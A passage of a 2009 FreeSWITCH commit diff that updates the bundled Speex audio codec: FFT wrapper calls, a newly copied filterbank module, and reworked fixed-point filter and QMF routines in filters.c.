 {
-   int i;
    int shift;
    struct kiss_config *t = (struct kiss_config *)table;
    shift = maximize_range(in, in, 32000, t->N);
-   kiss_fftr(t->forward, in, t->freq_data);
-   out[0] = t->freq_data[0].r;
-   for (i=1;i<t->N>>1;i++)
-   {
-      out[(i<<1)-1] = t->freq_data[i].r;
-      out[(i<<1)] = t->freq_data[i].i;
-   }
-   out[(i<<1)-1] = t->freq_data[i].r;
+   kiss_fftr2(t->forward, in, out);
    renorm_range(in, in, shift, t->N);
    renorm_range(out, out, shift, t->N);
 }
@@ -190,32 +288,16 @@
    float scale;
    struct kiss_config *t = (struct kiss_config *)table;
    scale = 1./t->N;
-   kiss_fftr(t->forward, in, t->freq_data);
-   out[0] = scale*t->freq_data[0].r;
-   for (i=1;i<t->N>>1;i++)
-   {
-      out[(i<<1)-1] = scale*t->freq_data[i].r;
-      out[(i<<1)] = scale*t->freq_data[i].i;
-   }
-   out[(i<<1)-1] = scale*t->freq_data[i].r;
+   kiss_fftr2(t->forward, in, out);
+   for (i=0;i<t->N;i++)
+      out[i] *= scale;
 }
 #endif
 
 void spx_ifft(void *table, spx_word16_t *in, spx_word16_t *out)
 {
-   int i;
    struct kiss_config *t = (struct kiss_config *)table;
-   t->freq_data[0].r = in[0];
-   t->freq_data[0].i = 0;
-   for (i=1;i<t->N>>1;i++)
-   {
-      t->freq_data[i].r = in[(i<<1)-1];
-      t->freq_data[i].i = in[(i<<1)];
-   }
-   t->freq_data[i].r = in[(i<<1)-1];
-   t->freq_data[i].i = 0;
-
-   kiss_fftri(t->backward, t->freq_data, out);
+   kiss_fftri2(t->backward, in, out);
 }
 
 

Modified: freeswitch/branches/seven/libs/speex/libspeex/fftwrap.h (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/fftwrap.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/fftwrap.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -35,7 +35,7 @@
 #ifndef FFTWRAP_H
 #define FFTWRAP_H
 
-#include "misc.h"
+#include "arch.h"
 
 /** Compute tables for an FFT */
 void *spx_fft_init(int size);

Copied: freeswitch/branches/seven/libs/speex/libspeex/filterbank.c (from rev 14471, freeswitch/trunk/libs/speex/libspeex/filterbank.c) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/filterbank.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/libspeex/filterbank.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,227 @@
+/* Copyright (C) 2006 Jean-Marc Valin */
+/**
+   @file filterbank.c
+   @brief Converting between psd and filterbank
+ */
+/*
+   Redistribution and use in source and binary forms, with or without
+   modification, are permitted provided that the following conditions are
+   met:
+
+   1. Redistributions of source code must retain the above copyright notice,
+   this list of conditions and the following disclaimer.
+
+   2. Redistributions in binary form must reproduce the above copyright
+   notice, this list of conditions and the following disclaimer in the
+   documentation and/or other materials provided with the distribution.
+
+   3. The name of the author may not be used to endorse or promote products
+   derived from this software without specific prior written permission.
+
+   THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
+   IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
+   OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+   DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
+   INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+   (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+   SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+   HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+   STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
+   ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+   POSSIBILITY OF SUCH DAMAGE.
+*/
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include "filterbank.h"
+#include "arch.h"
+#include <math.h>
+#include "math_approx.h"
+#include "os_support.h"
+      
+#ifdef FIXED_POINT
+
+#define toBARK(n)   (MULT16_16(26829,spx_atan(SHR32(MULT16_16(97,n),2))) + MULT16_16(4588,spx_atan(MULT16_32_Q15(20,MULT16_16(n,n)))) + MULT16_16(3355,n))
+      
+#else
+#define toBARK(n)   (13.1f*atan(.00074f*(n))+2.24f*atan((n)*(n)*1.85e-8f)+1e-4f*(n))
+#endif
+       
+#define toMEL(n)    (2595.f*log10(1.f+(n)/700.f))
+
+FilterBank *filterbank_new(int banks, spx_word32_t sampling, int len, int type)
+{
+   FilterBank *bank;
+   spx_word32_t df;
+   spx_word32_t max_mel, mel_interval;
+   int i;
+   int id1;
+   int id2;
+   df = DIV32(SHL32(sampling,15),MULT16_16(2,len));
+   max_mel = toBARK(EXTRACT16(sampling/2));
+   mel_interval = PDIV32(max_mel,banks-1);
+   
+   bank = (FilterBank*)speex_alloc(sizeof(FilterBank));
+   bank->nb_banks = banks;
+   bank->len = len;
+   bank->bank_left = (int*)speex_alloc(len*sizeof(int));
+   bank->bank_right = (int*)speex_alloc(len*sizeof(int));
+   bank->filter_left = (spx_word16_t*)speex_alloc(len*sizeof(spx_word16_t));
+   bank->filter_right = (spx_word16_t*)speex_alloc(len*sizeof(spx_word16_t));
+   /* Think I can safely disable normalisation that for fixed-point (and probably float as well) */
+#ifndef FIXED_POINT
+   bank->scaling = (float*)speex_alloc(banks*sizeof(float));
+#endif
+   for (i=0;i<len;i++)
+   {
+      spx_word16_t curr_freq;
+      spx_word32_t mel;
+      spx_word16_t val;
+      curr_freq = EXTRACT16(MULT16_32_P15(i,df));
+      mel = toBARK(curr_freq);
+      if (mel > max_mel)
+         break;
+#ifdef FIXED_POINT
+      id1 = DIV32(mel,mel_interval);
+#else      
+      id1 = (int)(floor(mel/mel_interval));
+#endif
+      if (id1>banks-2)
+      {
+         id1 = banks-2;
+         val = Q15_ONE;
+      } else {
+         val = DIV32_16(mel - id1*mel_interval,EXTRACT16(PSHR32(mel_interval,15)));
+      }
+      id2 = id1+1;
+      bank->bank_left[i] = id1;
+      bank->filter_left[i] = SUB16(Q15_ONE,val);
+      bank->bank_right[i] = id2;
+      bank->filter_right[i] = val;
+   }
+   
+   /* Think I can safely disable normalisation for fixed-point (and probably float as well) */
+#ifndef FIXED_POINT
+   for (i=0;i<bank->nb_banks;i++)
+      bank->scaling[i] = 0;
+   for (i=0;i<bank->len;i++)
+   {
+      int id = bank->bank_left[i];
+      bank->scaling[id] += bank->filter_left[i];
+      id = bank->bank_right[i];
+      bank->scaling[id] += bank->filter_right[i];
+   }
+   for (i=0;i<bank->nb_banks;i++)
+      bank->scaling[i] = Q15_ONE/(bank->scaling[i]);
+#endif
+   return bank;
+}
+
+void filterbank_destroy(FilterBank *bank)
+{
+   speex_free(bank->bank_left);
+   speex_free(bank->bank_right);
+   speex_free(bank->filter_left);
+   speex_free(bank->filter_right);
+#ifndef FIXED_POINT
+   speex_free(bank->scaling);
+#endif
+   speex_free(bank);
+}
+
+void filterbank_compute_bank32(FilterBank *bank, spx_word32_t *ps, spx_word32_t *mel)
+{
+   int i;
+   for (i=0;i<bank->nb_banks;i++)
+      mel[i] = 0;
+
+   for (i=0;i<bank->len;i++)
+   {
+      int id;
+      id = bank->bank_left[i];
+      mel[id] += MULT16_32_P15(bank->filter_left[i],ps[i]);
+      id = bank->bank_right[i];
+      mel[id] += MULT16_32_P15(bank->filter_right[i],ps[i]);
+   }
+   /* Think I can safely disable normalisation that for fixed-point (and probably float as well) */
+#ifndef FIXED_POINT
+   /*for (i=0;i<bank->nb_banks;i++)
+      mel[i] = MULT16_32_P15(Q15(bank->scaling[i]),mel[i]);
+   */
+#endif
+}
+
+void filterbank_compute_psd16(FilterBank *bank, spx_word16_t *mel, spx_word16_t *ps)
+{
+   int i;
+   for (i=0;i<bank->len;i++)
+   {
+      spx_word32_t tmp;
+      int id1, id2;
+      id1 = bank->bank_left[i];
+      id2 = bank->bank_right[i];
+      tmp = MULT16_16(mel[id1],bank->filter_left[i]);
+      tmp += MULT16_16(mel[id2],bank->filter_right[i]);
+      ps[i] = EXTRACT16(PSHR32(tmp,15));
+   }
+}
+
+
+#ifndef FIXED_POINT
+void filterbank_compute_bank(FilterBank *bank, float *ps, float *mel)
+{
+   int i;
+   for (i=0;i<bank->nb_banks;i++)
+      mel[i] = 0;
+
+   for (i=0;i<bank->len;i++)
+   {
+      int id = bank->bank_left[i];
+      mel[id] += bank->filter_left[i]*ps[i];
+      id = bank->bank_right[i];
+      mel[id] += bank->filter_right[i]*ps[i];
+   }
+   for (i=0;i<bank->nb_banks;i++)
+      mel[i] *= bank->scaling[i];
+}
+
+void filterbank_compute_psd(FilterBank *bank, float *mel, float *ps)
+{
+   int i;
+   for (i=0;i<bank->len;i++)
+   {
+      int id = bank->bank_left[i];
+      ps[i] = mel[id]*bank->filter_left[i];
+      id = bank->bank_right[i];
+      ps[i] += mel[id]*bank->filter_right[i];
+   }
+}
+
+void filterbank_psy_smooth(FilterBank *bank, float *ps, float *mask)
+{
+   /* Low freq slope: 14 dB/Bark*/
+   /* High freq slope: 9 dB/Bark*/
+   /* Noise vs tone: 5 dB difference */
+   /* FIXME: Temporary kludge */
+   float bark[100];
+   int i;
+   /* Assumes 1/3 Bark resolution */
+   float decay_low = 0.34145f;
+   float decay_high = 0.50119f;
+   filterbank_compute_bank(bank, ps, bark);
+   for (i=1;i<bank->nb_banks;i++)
+   {
+      /*float decay_high = 13-1.6*log10(bark[i-1]);
+      decay_high = pow(10,(-decay_high/30.f));*/
+      bark[i] = bark[i] + decay_high*bark[i-1];
+   }
+   for (i=bank->nb_banks-2;i>=0;i--)
+   {
+      bark[i] = bark[i] + decay_low*bark[i+1];
+   }
+   filterbank_compute_psd(bank, bark, mask);
+}
+
+#endif

Copied: freeswitch/branches/seven/libs/speex/libspeex/filterbank.h (from rev 14471, freeswitch/trunk/libs/speex/libspeex/filterbank.h) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/filterbank.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/libspeex/filterbank.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,66 @@
+/* Copyright (C) 2006 Jean-Marc Valin */
+/**
+   @file filterbank.h
+   @brief Converting between psd and filterbank
+ */
+/*
+   Redistribution and use in source and binary forms, with or without
+   modification, are permitted provided that the following conditions are
+   met:
+
+   1. Redistributions of source code must retain the above copyright notice,
+   this list of conditions and the following disclaimer.
+
+   2. Redistributions in binary form must reproduce the above copyright
+   notice, this list of conditions and the following disclaimer in the
+   documentation and/or other materials provided with the distribution.
+
+   3. The name of the author may not be used to endorse or promote products
+   derived from this software without specific prior written permission.
+
+   THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
+   IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
+   OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+   DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
+   INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+   (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+   SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+   HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+   STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
+   ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+   POSSIBILITY OF SUCH DAMAGE.
+*/
+
+#ifndef FILTERBANK_H
+#define FILTERBANK_H
+
+#include "arch.h"
+
+typedef struct {
+   int *bank_left;
+   int *bank_right;
+   spx_word16_t *filter_left;
+   spx_word16_t *filter_right;
+#ifndef FIXED_POINT
+   float *scaling;
+#endif
+   int nb_banks;
+   int len;
+} FilterBank;
+
+
+FilterBank *filterbank_new(int banks, spx_word32_t sampling, int len, int type);
+
+void filterbank_destroy(FilterBank *bank);
+
+void filterbank_compute_bank32(FilterBank *bank, spx_word32_t *ps, spx_word32_t *mel);
+
+void filterbank_compute_psd16(FilterBank *bank, spx_word16_t *mel, spx_word16_t *psd);
+
+#ifndef FIXED_POINT
+void filterbank_compute_bank(FilterBank *bank, float *psd, float *mel);
+void filterbank_compute_psd(FilterBank *bank, float *mel, float *psd);
+#endif
+
+
+#endif

Modified: freeswitch/branches/seven/libs/speex/libspeex/filters.c (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/filters.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/filters.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -36,7 +36,7 @@
 
 #include "filters.h"
 #include "stack_alloc.h"
-#include "misc.h"
+#include "arch.h"
 #include "math_approx.h"
 #include "ltp.h"
 #include <math.h>
@@ -62,6 +62,24 @@
    }
 }
 
+void sanitize_values32(spx_word32_t *vec, spx_word32_t min_val, spx_word32_t max_val, int len)
+{
+   int i;
+   for (i=0;i<len;i++)
+   {
+      /* It's important we do the test that way so we can catch NaNs, which are neither greater nor smaller */
+      if (!(vec[i]>=min_val && vec[i] <= max_val))
+      {
+         if (vec[i] < min_val)
+            vec[i] = min_val;
+         else if (vec[i] > max_val)
+            vec[i] = max_val;
+         else /* Has to be NaN */
+            vec[i] = 0;
+      }
+   }
+}
+
 void highpass(const spx_word16_t *x, spx_word16_t *y, int len, int filtID, spx_mem_t *mem)
 {
    int i;
@@ -83,8 +101,8 @@
       spx_word16_t yi;
       spx_word32_t vout = ADD32(MULT16_16(num[0], x[i]),mem[0]);
       yi = EXTRACT16(SATURATE(PSHR32(vout,14),32767));
-      mem[0] = ADD32(MAC16_16(mem[1], num[1],x[i]), MULT16_32_Q14(-den[1],vout));
-      mem[1] = ADD32(MULT16_16(num[2],x[i]), MULT16_32_Q14(-den[2],vout));
+      mem[0] = ADD32(MAC16_16(mem[1], num[1],x[i]), SHL32(MULT16_32_Q15(-den[1],vout),1));
+      mem[1] = ADD32(MULT16_16(num[2],x[i]), SHL32(MULT16_32_Q15(-den[2],vout),1));
       y[i] = yi;
    }
 }
@@ -218,10 +236,10 @@
       for (i=0;i<len;i+=4)
       {
          spx_word32_t sum2=0;
-         sum2 = MAC16_16(sum2,PSHR16(x[i],1),PSHR16(x[i],1));
-         sum2 = MAC16_16(sum2,PSHR16(x[i+1],1),PSHR16(x[i+1],1));
-         sum2 = MAC16_16(sum2,PSHR16(x[i+2],1),PSHR16(x[i+2],1));
-         sum2 = MAC16_16(sum2,PSHR16(x[i+3],1),PSHR16(x[i+3],1));
+         sum2 = MAC16_16(sum2,SHR16(x[i],1),SHR16(x[i],1));
+         sum2 = MAC16_16(sum2,SHR16(x[i+1],1),SHR16(x[i+1],1));
+         sum2 = MAC16_16(sum2,SHR16(x[i+2],1),SHR16(x[i+2],1));
+         sum2 = MAC16_16(sum2,SHR16(x[i+3],1),SHR16(x[i+3],1));
          sum = ADD32(sum,SHR32(sum2,6));
       }
       return SHL16(spx_sqrt(DIV32(sum,len)),4);
@@ -297,53 +315,6 @@
 
 
 
-#ifndef OVERRIDE_FILTER_MEM2
-#ifdef PRECISION16
-void filter_mem2(const spx_sig_t *x, const spx_coef_t *num, const spx_coef_t *den, spx_sig_t *y, int N, int ord, spx_mem_t *mem)
-{
-   int i,j;
-   spx_word16_t xi,yi,nyi;
-
-   for (i=0;i<N;i++)
-   {
-      xi= EXTRACT16(PSHR32(SATURATE(x[i],536870911),SIG_SHIFT));
-      yi = EXTRACT16(PSHR32(SATURATE(ADD32(x[i], SHL32(mem[0],1)),536870911),SIG_SHIFT));
-      nyi = NEG16(yi);
-      for (j=0;j<ord-1;j++)
-      {
-         mem[j] = MAC16_16(MAC16_16(mem[j+1], num[j],xi), den[j],nyi);
-      }
-      mem[ord-1] = ADD32(MULT16_16(num[ord-1],xi), MULT16_16(den[ord-1],nyi));
-      y[i] = SHL32(EXTEND32(yi),SIG_SHIFT);
-   }
-}
-#else
-void filter_mem2(const spx_sig_t *x, const spx_coef_t *num, const spx_coef_t *den, spx_sig_t *y, int N, int ord, spx_mem_t *mem)
-{
-   int i,j;
-   spx_sig_t xi,yi,nyi;
-
-   for (i=0;i<ord;i++)
-      mem[i] = SHR32(mem[i],1);   
-   for (i=0;i<N;i++)
-   {
-      xi=SATURATE(x[i],805306368);
-      yi = SATURATE(ADD32(xi, SHL32(mem[0],2)),805306368);
-      nyi = NEG32(yi);
-      for (j=0;j<ord-1;j++)
-      {
-         mem[j] = MAC16_32_Q15(MAC16_32_Q15(mem[j+1], num[j],xi), den[j],nyi);
-      }
-      mem[ord-1] = SUB32(MULT16_32_Q15(num[ord-1],xi), MULT16_32_Q15(den[ord-1],yi));
-      y[i] = yi;
-   }
-   for (i=0;i<ord;i++)
-      mem[i] = SHL32(mem[i],1);   
-}
-#endif
-#endif
-
-#ifdef FIXED_POINT
 #ifndef OVERRIDE_FILTER_MEM16
 void filter_mem16(const spx_word16_t *x, const spx_coef_t *num, const spx_coef_t *den, spx_word16_t *y, int N, int ord, spx_mem_t *mem, char *stack)
 {
@@ -363,60 +334,7 @@
    }
 }
 #endif
-#else
-void filter_mem16(const spx_word16_t *x, const spx_coef_t *num, const spx_coef_t *den, spx_word16_t *y, int N, int ord, spx_mem_t *mem, char *stack)
-{
-   filter_mem2(x, num, den, y, N, ord, mem);
-}
-#endif
 
-
-#ifndef OVERRIDE_IIR_MEM2
-#ifdef PRECISION16
-void iir_mem2(const spx_sig_t *x, const spx_coef_t *den, spx_sig_t *y, int N, int ord, spx_mem_t *mem)
-{
-   int i,j;
-   spx_word16_t yi,nyi;
-
-   for (i=0;i<N;i++)
-   {
-      yi = EXTRACT16(PSHR32(SATURATE(x[i] + SHL32(mem[0],1),536870911),SIG_SHIFT));
-      nyi = NEG16(yi);
-      for (j=0;j<ord-1;j++)
-      {
-         mem[j] = MAC16_16(mem[j+1],den[j],nyi);
-      }
-      mem[ord-1] = MULT16_16(den[ord-1],nyi);
-      y[i] = SHL32(EXTEND32(yi),SIG_SHIFT);
-   }
-}
-#else
-void iir_mem2(const spx_sig_t *x, const spx_coef_t *den, spx_sig_t *y, int N, int ord, spx_mem_t *mem)
-{
-   int i,j;
-   spx_word32_t xi,yi,nyi;
-
-   for (i=0;i<ord;i++)
-      mem[i] = SHR32(mem[i],1);   
-   for (i=0;i<N;i++)
-   {
-      xi=SATURATE(x[i],805306368);
-      yi = SATURATE(xi + SHL32(mem[0],2),805306368);
-      nyi = NEG32(yi);
-      for (j=0;j<ord-1;j++)
-      {
-         mem[j] = MAC16_32_Q15(mem[j+1],den[j],nyi);
-      }
-      mem[ord-1] = MULT16_32_Q15(den[ord-1],nyi);
-      y[i] = yi;
-   }
-   for (i=0;i<ord;i++)
-      mem[i] = SHL32(mem[i],1);   
-}
-#endif
-#endif
-
-#ifdef FIXED_POINT
 #ifndef OVERRIDE_IIR_MEM16
 void iir_mem16(const spx_word16_t *x, const spx_coef_t *den, spx_word16_t *y, int N, int ord, spx_mem_t *mem, char *stack)
 {
@@ -436,59 +354,7 @@
    }
 }
 #endif
-#else
-void iir_mem16(const spx_word16_t *x, const spx_coef_t *den, spx_word16_t *y, int N, int ord, spx_mem_t *mem, char *stack)
-{
-   iir_mem2(x, den, y, N, ord, mem);
-}
-#endif
 
-
-#ifndef OVERRIDE_FIR_MEM2
-#ifdef PRECISION16
-void fir_mem2(const spx_sig_t *x, const spx_coef_t *num, spx_sig_t *y, int N, int ord, spx_mem_t *mem)
-{
-   int i,j;
-   spx_word16_t xi,yi;
-
-   for (i=0;i<N;i++)
-   {
-      xi= EXTRACT16(PSHR32(SATURATE(x[i],536870911),SIG_SHIFT));
-      yi = EXTRACT16(PSHR32(SATURATE(x[i] + SHL32(mem[0],1),536870911),SIG_SHIFT));
-      for (j=0;j<ord-1;j++)
-      {
-         mem[j] = MAC16_16(mem[j+1], num[j],xi);
-      }
-      mem[ord-1] = MULT16_16(num[ord-1],xi);
-      y[i] = SHL32(EXTEND32(yi),SIG_SHIFT);
-   }
-}
-#else
-void fir_mem2(const spx_sig_t *x, const spx_coef_t *num, spx_sig_t *y, int N, int ord, spx_mem_t *mem)
-{
-   int i,j;
-   spx_word32_t xi,yi;
-
-   for (i=0;i<ord;i++)
-      mem[i] = SHR32(mem[i],1);   
-   for (i=0;i<N;i++)
-   {
-      xi=SATURATE(x[i],805306368);
-      yi = xi + SHL32(mem[0],2);
-      for (j=0;j<ord-1;j++)
-      {
-         mem[j] = MAC16_32_Q15(mem[j+1], num[j],xi);
-      }
-      mem[ord-1] = MULT16_32_Q15(num[ord-1],xi);
-      y[i] = SATURATE(yi,805306368);
-   }
-   for (i=0;i<ord;i++)
-      mem[i] = SHL32(mem[i],1);   
-}
-#endif
-#endif
-
-#ifdef FIXED_POINT
 #ifndef OVERRIDE_FIR_MEM16
 void fir_mem16(const spx_word16_t *x, const spx_coef_t *num, spx_word16_t *y, int N, int ord, spx_mem_t *mem, char *stack)
 {
@@ -508,44 +374,34 @@
    }
 }
 #endif
-#else
-void fir_mem16(const spx_word16_t *x, const spx_coef_t *num, spx_word16_t *y, int N, int ord, spx_mem_t *mem, char *stack)
-{
-   fir_mem2(x, num, y, N, ord, mem);
-}
-#endif
 
 
-
-
-
-
-void syn_percep_zero(const spx_sig_t *xx, const spx_coef_t *ak, const spx_coef_t *awk1, const spx_coef_t *awk2, spx_sig_t *y, int N, int ord, char *stack)
+void syn_percep_zero16(const spx_word16_t *xx, const spx_coef_t *ak, const spx_coef_t *awk1, const spx_coef_t *awk2, spx_word16_t *y, int N, int ord, char *stack)
 {
    int i;
    VARDECL(spx_mem_t *mem);
    ALLOC(mem, ord, spx_mem_t);
    for (i=0;i<ord;i++)
-     mem[i]=0;
-   iir_mem2(xx, ak, y, N, ord, mem);
+      mem[i]=0;
+   iir_mem16(xx, ak, y, N, ord, mem, stack);
    for (i=0;i<ord;i++)
       mem[i]=0;
-   filter_mem2(y, awk1, awk2, y, N, ord, mem);
+   filter_mem16(y, awk1, awk2, y, N, ord, mem, stack);
 }
-
-void residue_percep_zero(const spx_sig_t *xx, const spx_coef_t *ak, const spx_coef_t *awk1, const spx_coef_t *awk2, spx_sig_t *y, int N, int ord, char *stack)
+void residue_percep_zero16(const spx_word16_t *xx, const spx_coef_t *ak, const spx_coef_t *awk1, const spx_coef_t *awk2, spx_word16_t *y, int N, int ord, char *stack)
 {
    int i;
    VARDECL(spx_mem_t *mem);
    ALLOC(mem, ord, spx_mem_t);
    for (i=0;i<ord;i++)
       mem[i]=0;
-   filter_mem2(xx, ak, awk1, y, N, ord, mem);
+   filter_mem16(xx, ak, awk1, y, N, ord, mem, stack);
    for (i=0;i<ord;i++)
-     mem[i]=0;
-   fir_mem2(y, awk2, y, N, ord, mem);
+      mem[i]=0;
+   fir_mem16(y, awk2, y, N, ord, mem, stack);
 }
 
+
 #ifndef OVERRIDE_COMPUTE_IMPULSE_RESPONSE
 void compute_impulse_response(const spx_coef_t *ak, const spx_coef_t *awk1, const spx_coef_t *awk2, spx_word16_t *y, int N, int ord, char *stack)
 {
@@ -581,7 +437,8 @@
 }
 #endif
 
-void qmf_decomp(const spx_word16_t *xx, const spx_word16_t *aa, spx_sig_t *y1, spx_sig_t *y2, int N, int M, spx_word16_t *mem, char *stack)
+/* Decomposes a signal into low-band and high-band using a QMF */
+void qmf_decomp(const spx_word16_t *xx, const spx_word16_t *aa, spx_word16_t *y1, spx_word16_t *y2, int N, int M, spx_word16_t *mem, char *stack)
 {
    int i,j,k,M2;
    VARDECL(spx_word16_t *a);
@@ -594,105 +451,139 @@
    M2=M>>1;
    for (i=0;i<M;i++)
       a[M-i-1]= aa[i];
-
    for (i=0;i<M-1;i++)
       x[i]=mem[M-i-2];
    for (i=0;i<N;i++)
-      x[i+M-1]=SATURATE(PSHR(xx[i],1),16383);
+      x[i+M-1]=SHR16(xx[i],1);
+   for (i=0;i<M-1;i++)
+      mem[i]=SHR16(xx[N-i-1],1);
    for (i=0,k=0;i<N;i+=2,k++)
    {
-      y1[k]=0;
-      y2[k]=0;
+      spx_word32_t y1k=0, y2k=0;
       for (j=0;j<M2;j++)
       {
-         y1[k]=ADD32(y1[k],MULT16_16(a[j],ADD16(x[i+j],x2[i-j])));
-         y2[k]=SUB32(y2[k],MULT16_16(a[j],SUB16(x[i+j],x2[i-j])));
+         y1k=ADD32(y1k,MULT16_16(a[j],ADD16(x[i+j],x2[i-j])));
+         y2k=SUB32(y2k,MULT16_16(a[j],SUB16(x[i+j],x2[i-j])));
          j++;
-         y1[k]=ADD32(y1[k],MULT16_16(a[j],ADD16(x[i+j],x2[i-j])));
-         y2[k]=ADD32(y2[k],MULT16_16(a[j],SUB16(x[i+j],x2[i-j])));
+         y1k=ADD32(y1k,MULT16_16(a[j],ADD16(x[i+j],x2[i-j])));
+         y2k=ADD32(y2k,MULT16_16(a[j],SUB16(x[i+j],x2[i-j])));
       }
-      y1[k] = SHR32(y1[k],1);
-      y2[k] = SHR32(y2[k],1);
+      y1[k] = EXTRACT16(SATURATE(PSHR32(y1k,15),32767));
+      y2[k] = EXTRACT16(SATURATE(PSHR32(y2k,15),32767));
    }
-   for (i=0;i<M-1;i++)
-     mem[i]=SATURATE(PSHR(xx[N-i-1],1),16383);
 }
 
-
-/* By segher */
-void fir_mem_up(const spx_sig_t *x, const spx_word16_t *a, spx_sig_t *y, int N, int M, spx_word32_t *mem, char *stack)
+/* Re-synthesised a signal from the QMF low-band and high-band signals */
+void qmf_synth(const spx_word16_t *x1, const spx_word16_t *x2, const spx_word16_t *a, spx_word16_t *y, int N, int M, spx_word16_t *mem1, spx_word16_t *mem2, char *stack)
    /* assumptions:
       all odd x[i] are zero -- well, actually they are left out of the array now
       N and M are multiples of 4 */
 {
    int i, j;
-   VARDECL(spx_word16_t *xx);
+   int M2, N2;
+   VARDECL(spx_word16_t *xx1);
+   VARDECL(spx_word16_t *xx2);
    
-   ALLOC(xx, M+N-1, spx_word16_t);
+   M2 = M>>1;
+   N2 = N>>1;
+   ALLOC(xx1, M2+N2, spx_word16_t);
+   ALLOC(xx2, M2+N2, spx_word16_t);
 
-   for (i = 0; i < N/2; i++)
-      xx[2*i] = PSHR32(x[N/2-1-i],SIG_SHIFT);
-   for (i = 0; i < M - 1; i += 2)
-      xx[N+i] = mem[i+1];
+   for (i = 0; i < N2; i++)
+      xx1[i] = x1[N2-1-i];
+   for (i = 0; i < M2; i++)
+      xx1[N2+i] = mem1[2*i+1];
+   for (i = 0; i < N2; i++)
+      xx2[i] = x2[N2-1-i];
+   for (i = 0; i < M2; i++)
+      xx2[N2+i] = mem2[2*i+1];
 
-   for (i = 0; i < N; i += 4) {
+   for (i = 0; i < N2; i += 2) {
       spx_sig_t y0, y1, y2, y3;
-      spx_word16_t x0;
+      spx_word16_t x10, x20;
 
       y0 = y1 = y2 = y3 = 0;
-      x0 = xx[N-4-i];
+      x10 = xx1[N2-2-i];
+      x20 = xx2[N2-2-i];
 
-      for (j = 0; j < M; j += 4) {
-         spx_word16_t x1;
+      for (j = 0; j < M2; j += 2) {
+         spx_word16_t x11, x21;
          spx_word16_t a0, a1;
 
-         a0 = a[j];
-         a1 = a[j+1];
-         x1 = xx[N-2+j-i];
+         a0 = a[2*j];
+         a1 = a[2*j+1];
+         x11 = xx1[N2-1+j-i];
+         x21 = xx2[N2-1+j-i];
 
-         y0 = ADD32(y0,SHR(MULT16_16(a0, x1),2));
-         y1 = ADD32(y1,SHR(MULT16_16(a1, x1),2));
-         y2 = ADD32(y2,SHR(MULT16_16(a0, x0),2));
-         y3 = ADD32(y3,SHR(MULT16_16(a1, x0),2));
+#ifdef FIXED_POINT
+         /* We multiply twice by the same coef to avoid overflows */
+         y0 = MAC16_16(MAC16_16(y0, a0, x11), NEG16(a0), x21);
+         y1 = MAC16_16(MAC16_16(y1, a1, x11), a1, x21);
+         y2 = MAC16_16(MAC16_16(y2, a0, x10), NEG16(a0), x20);
+         y3 = MAC16_16(MAC16_16(y3, a1, x10), a1, x20);
+#else
+         y0 = ADD32(y0,MULT16_16(a0, x11-x21));
+         y1 = ADD32(y1,MULT16_16(a1, x11+x21));
+         y2 = ADD32(y2,MULT16_16(a0, x10-x20));
+         y3 = ADD32(y3,MULT16_16(a1, x10+x20));
+#endif
+         a0 = a[2*j+2];
+         a1 = a[2*j+3];
+         x10 = xx1[N2+j-i];
+         x20 = xx2[N2+j-i];
 
-         a0 = a[j+2];
-         a1 = a[j+3];
-         x0 = xx[N+j-i];
-
-         y0 = ADD32(y0,SHR(MULT16_16(a0, x0),2));
-         y1 = ADD32(y1,SHR(MULT16_16(a1, x0),2));
-         y2 = ADD32(y2,SHR(MULT16_16(a0, x1),2));
-         y3 = ADD32(y3,SHR(MULT16_16(a1, x1),2));
+#ifdef FIXED_POINT
+         /* We multiply twice by the same coef to avoid overflows */
+         y0 = MAC16_16(MAC16_16(y0, a0, x10), NEG16(a0), x20);
+         y1 = MAC16_16(MAC16_16(y1, a1, x10), a1, x20);
+         y2 = MAC16_16(MAC16_16(y2, a0, x11), NEG16(a0), x21);
+         y3 = MAC16_16(MAC16_16(y3, a1, x11), a1, x21);
+#else
